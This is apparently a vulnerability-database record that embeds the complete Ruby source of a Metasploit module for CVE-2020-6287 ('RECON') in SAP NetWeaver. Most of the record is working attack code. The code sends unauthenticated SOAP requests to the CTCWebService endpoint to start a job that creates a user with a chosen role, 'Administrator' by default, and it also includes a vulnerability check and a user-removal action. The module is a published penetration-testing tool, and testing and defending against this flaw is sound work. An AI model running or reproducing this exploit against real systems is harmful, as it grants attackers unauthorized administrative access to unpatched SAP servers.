This module leverages an unauthenticated web service to submit a job which will create a user with a specified role. The job involves running a wizard. After the necessary action is taken, the job is canceled to avoid unnecessary system changes.
{"id": "MSF:AUXILIARY-ADMIN-SAP-CVE_2020_6287_WS_ADD_USER-", "vendorId": null, "type": "metasploit", "bulletinFamily": "exploit", "title": "SAP Unauthenticated WebService User Creation", "description": "This module leverages an unauthenticated web service to submit a job which will create a user with a specified role. The job involves running a wizard. After the necessary action is taken, the job is canceled to avoid unnecessary system changes.\n", "published": "2020-07-17T06:03:43", "modified": "2023-02-08T11:45:17", "cvss": {"score": 0.0, "vector": "NONE"}, "cvss2": {}, "cvss3": {}, "href": "https://www.rapid7.com/db/modules/auxiliary/admin/sap/cve_2020_6287_ws_add_user/", "reporter": "Pablo Artuso, Dmitry Chastuhin, Spencer McIntyre", "references": [], "cvelist": [], "immutableFields": [], "lastseen": "2023-02-08T15:42:10", "viewCount": 14, "enchantments": {"score": {"value": 0.1, "vector": "NONE"}, "vulnersScore": 0.1}, "_state": {"score": 1675871070, "dependencies": 1675871168, "epss": 1679299457}, "_internal": {"score_hash": "a7eb8e1989646864ebdf3e14a5724a48"}, "sourceHref": "https://github.com/rapid7/metasploit-framework/blob/master//modules/auxiliary/admin/sap/cve_2020_6287_ws_add_user.rb", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Auxiliary\n include Msf::Exploit::Remote::HttpClient\n\n def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'SAP Unauthenticated WebService User Creation',\n 'Description' => %q{\n This module leverages an unauthenticated web service to submit a job which will create a user with a specified\n role. The job involves running a wizard. After the necessary action is taken, the job is canceled to avoid\n unnecessary system changes.\n },\n 'Author' => [\n 'Pablo Artuso', # The Onapsis Security Researcher who originally found the vulnerability\n 'Dmitry Chastuhin', # Author of one of the early PoCs utilizing CTCWebService\n 'Spencer McIntyre' # This Metasploit module\n ],\n 'License' => MSF_LICENSE,\n 'References' => [\n [ 'CVE', '2020-6287' ],\n [ 'URL', 'https://github.com/chipik/SAP_RECON' ],\n [ 'URL', 'https://www.onapsis.com/recon-sap-cyber-security-vulnerability' ],\n [ 'URL', 'https://us-cert.cisa.gov/ncas/alerts/aa20-195a' ]\n ],\n 'Notes' => {\n 'AKA' => [ 'RECON' ],\n 'Stability' => [CRASH_SAFE],\n 'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS],\n 'Reliability' => []\n },\n 'Actions' => [\n [ 'ADD', { 'Description' => 'Add the specified user' } ],\n [ 'REMOVE', { 'Description' => 'Remove the specified user' } ]\n ],\n 'DefaultAction' => 'ADD',\n 'DisclosureDate' => '2020-07-14'\n )\n )\n\n register_options(\n [\n Opt::RPORT(50000),\n OptString.new('USERNAME', [ true, 'The username to create' ]),\n OptString.new('PASSWORD', [ true, 'The password for the new user' ]),\n OptString.new('ROLE', [ true, 'The role to assign the new user', 'Administrator' ]),\n OptString.new('TARGETURI', [ true, 'Path to CTCWebService', '/CTCWebService/CTCWebServiceBean' ])\n ]\n )\n end\n\n def check\n res = send_request_cgi(\n {\n 'uri' => normalize_uri(target_uri.path),\n 'method' => 'GET',\n 'vars_get' => { 'wsdl' => '' }\n }\n )\n\n return Exploit::CheckCode::Safe unless res&.code == 200\n return Exploit::CheckCode::Safe unless res.headers['Content-Type'].strip.start_with?('text/xml')\n\n xml = res.get_xml_document\n return Exploit::CheckCode::Safe unless xml.namespaces['xmlns:wsdl'] == 'http://schemas.xmlsoap.org/wsdl/'\n return Exploit::CheckCode::Safe if xml.xpath(\"//wsdl:definitions/wsdl:service[@name='CTCWebService']\").empty?\n\n Exploit::CheckCode::Vulnerable\n end\n\n def run\n case action.name\n when 'ADD'\n action_add\n when 'REMOVE'\n action_remove\n end\n end\n\n def action_add\n job = nil\n print_status('Starting the PCK Upgrade job...')\n job = invoke_pckupgrade\n print_good(\"Job running with session id: #{job.session_id}\")\n\n report_vuln(\n host: rhost,\n port: rport,\n name: name,\n sname: ssl ? 'https' : 'http',\n proto: 'tcp',\n refs: references,\n info: \"Module #{fullname} successfully submitted a job via the CTCWebService\"\n )\n\n loop do\n # it's a slow process, wait between status checks\n sleep 2\n\n next unless job.has_events_available?\n\n event = job.get_event\n\n if !(action_id = event.xpath('//ctc:StartAction/ctc:Action/ctc:ActionId/text()')).blank? && (action_id.to_s == 'genErrorNotification')\n report_error_details(job)\n fail_with(Failure::Unknown, 'General error')\n end\n\n unless (description = event.xpath('//ctc:StartAction/ctc:Action/ctc:Description/text()')).blank?\n vprint_status(\"Received event description: #{description}\")\n end\n\n unless (description = event.xpath('//ctc:FinishAction/ctc:Action/ctc:Description/text()')).blank? # rubocop:disable Style/Next\n if description.to_s =~ /Create User PCKUser/i\n print_good('Successfully created the user account')\n end\n\n if description.to_s =~ /Assign Role SAP_XI_PCK_CONFIG to PCKUser/i\n print_good('Successfully added the role to the new user')\n break\n end\n end\n end\n ensure\n unless job.nil?\n print_status('Canceling the PCK Upgrade job...')\n job.cancel_execution\n end\n end\n\n def action_remove\n message = { name: 'DeleteUser' }\n message[:data] = Nokogiri::XML(<<-ENVELOPE, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root.to_xml(indent: 0, save_with: 0)\n <root>\n <username secure=\"true\">#{datastore['USERNAME'].encode(xml: :text)}</username>\n </root>\n ENVELOPE\n\n envelope = Nokogiri::XML(<<-ENVELOPE, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root.to_xml(indent: 0, save_with: 0)\n <soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:urn=\"urn:CTCWebServiceSi\">\n <soapenv:Header/>\n <soapenv:Body>\n <urn:executeSynchronious>\n <identifier>\n <component>sap.com/tc~lm~config~content</component>\n <path>content/Netweaver/ASJava/NWA/SPC/SPC_DeleteUser.cproc</path>\n </identifier>\n <contextMessages>\n <baData>#{Rex::Text.encode_base64(message[:data])}</baData>\n <name>#{message[:name]}</name>\n </contextMessages>\n </urn:executeSynchronious>\n </soapenv:Body>\n </soapenv:Envelope>\n ENVELOPE\n\n res = send_request_soap(envelope)\n fail_with(Failure::UnexpectedReply, 'Failed to delete the user') unless res&.code == 200\n\n print_good('Successfully deleted the user account')\n end\n\n def report_error_details(job)\n print_error('Received a general error notification')\n error_event = job.get_event\n\n print_error('Error details:')\n error_event.xpath('//ctc:Notification/ctcNote:Messages/ctcNote:Message').each do |message|\n print_error(\" #{message.text}\")\n end\n end\n\n def send_request_soap(envelope)\n res = send_request_cgi(\n {\n 'uri' => normalize_uri(target_uri.path),\n 'method' => 'POST',\n 'ctype' => 'text/xml;charset=UTF-8',\n 'data' => envelope\n }\n )\n\n return nil unless res&.code == 200\n return nil unless res.headers['Content-Type'].strip.start_with?('text/xml')\n\n res\n end\n\n def invoke_pckupgrade\n message = { name: 'Netweaver.PI_PCK.PCK' }\n message[:data] = Nokogiri::XML(<<-ENVELOPE, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root.to_xml(indent: 0, save_with: 0)\n <PCK>\n <Usermanagement>\n <SAP_XI_PCK_CONFIG>\n <roleName>#{datastore['ROLE'].encode(xml: :text)}</roleName>\n </SAP_XI_PCK_CONFIG>\n <SAP_XI_PCK_COMMUNICATION>\n <roleName>#{Rex::Text.rand_text_alphanumeric(10..16)}</roleName>\n </SAP_XI_PCK_COMMUNICATION>\n <SAP_XI_PCK_MONITOR>\n <roleName>#{Rex::Text.rand_text_alphanumeric(10..16)}</roleName>\n </SAP_XI_PCK_MONITOR>\n <SAP_XI_PCK_ADMIN>\n <roleName>#{Rex::Text.rand_text_alphanumeric(10..16)}</roleName>\n </SAP_XI_PCK_ADMIN>\n <PCKUser>\n <userName secure=\"true\">#{datastore['USERNAME'].encode(xml: :text)}</userName>\n <password secure=\"true\">#{datastore['PASSWORD'].encode(xml: :text)}</password>\n </PCKUser>\n <PCKReceiver>\n <userName>#{Rex::Text.rand_text_alphanumeric(10..16)}</userName>\n <password secure=\"true\">#{Rex::Text.rand_text_alphanumeric(10..16)}</password>\n </PCKReceiver>\n <PCKMonitor>\n <userName>#{Rex::Text.rand_text_alphanumeric(10..16)}</userName>\n <password secure=\"true\">#{Rex::Text.rand_text_alphanumeric(10..16)}</password>\n </PCKMonitor>\n <PCKAdmin>\n <userName>#{Rex::Text.rand_text_alphanumeric(10..16)}</userName>\n <password secure=\"true\">#{Rex::Text.rand_text_alphanumeric(10..16)}</password>\n </PCKAdmin>\n </Usermanagement>\n </PCK>\n ENVELOPE\n\n envelope = Nokogiri::XML(<<-ENVELOPE, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root.to_xml(indent: 0, save_with: 0)\n <soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:urn=\"urn:CTCWebServiceSi\">\n <soapenv:Header/>\n <soapenv:Body>\n <urn:execute>\n <identifier>\n <component>sap.com/tc~lm~config~content</component>\n <path>content/Netweaver/PI_PCK/PCK/PCKProcess.cproc</path>\n </identifier>\n <contextMessages>\n <baData>#{Rex::Text.encode_base64(message[:data])}</baData>\n <name>#{message[:name]}</name>\n </contextMessages>\n </urn:execute>\n </soapenv:Body>\n </soapenv:Envelope>\n ENVELOPE\n\n res = send_request_soap(envelope)\n fail_with(Failure::UnexpectedReply, 'Failed to start the PCK Upgrade process') unless res&.code == 200\n\n session_id = res.get_xml_document.xpath('//return/text()').to_s\n WebServiceJob.new(self, session_id)\n end\nend\n\nclass WebServiceJob\n def initialize(mod, session_id)\n @mod = mod\n @session_id = session_id\n end\n\n def cancel_execution\n envelope = Nokogiri::XML(<<-ENVELOPE, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root.to_xml(indent: 0, save_with: 0)\n <soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:urn=\"urn:CTCWebServiceSi\">\n <soapenv:Header/>\n <soapenv:Body>\n <urn:cancelExecution>\n <sessionId>#{@session_id.encode(xml: :text)}</sessionId>\n </urn:cancelExecution>\n </soapenv:Body>\n </soapenv:Envelope>\n ENVELOPE\n res = send_request_soap(envelope)\n fail_with(Failure::UnexpectedReply, 'Failed to cancel execution') if res.nil?\n\n res.get_xml_document.xpath('//return/text()').to_s != 'false'\n end\n\n def get_event\n envelope = Nokogiri::XML(<<-ENVELOPE, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root.to_xml(indent: 0, save_with: 0)\n <soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:urn=\"urn:CTCWebServiceSi\">\n <soapenv:Header/>\n <soapenv:Body>\n <urn:getNextEvent>\n <sessionId>#{@session_id.encode(xml: :text)}</sessionId>\n </urn:getNextEvent>\n </soapenv:Body>\n </soapenv:Envelope>\n ENVELOPE\n res = send_request_soap(envelope)\n fail_with(Failure::UnexpectedReply, 'Failed to retrieve the event information') if res.nil?\n\n Nokogiri::XML(Rex::Text.decode_base64(res.get_xml_document.xpath('//return/text()')))\n end\n\n def has_events_available? # rubocop:disable Naming/PredicateName\n envelope = Nokogiri::XML(<<-ENVELOPE, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root.to_xml(indent: 0, save_with: 0)\n <soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:urn=\"urn:CTCWebServiceSi\">\n <soapenv:Header/>\n <soapenv:Body>\n <urn:eventsAvailable>\n <sessionId>#{@session_id.encode(xml: :text)}</sessionId>\n </urn:eventsAvailable>\n </soapenv:Body>\n </soapenv:Envelope>\n ENVELOPE\n res = send_request_soap(envelope)\n fail_with(Failure::UnexpectedReply, 'Failed to check if events are available') if res.nil?\n\n res.get_xml_document.xpath('//return/text()').to_s != 'false'\n end\n\n attr_reader :session_id\n\n private\n\n def send_request_soap(*args, **kwargs)\n @mod.send_request_soap(*args, **kwargs)\n end\nend\n", "metasploitReliability": "", "metasploitHistory": ""}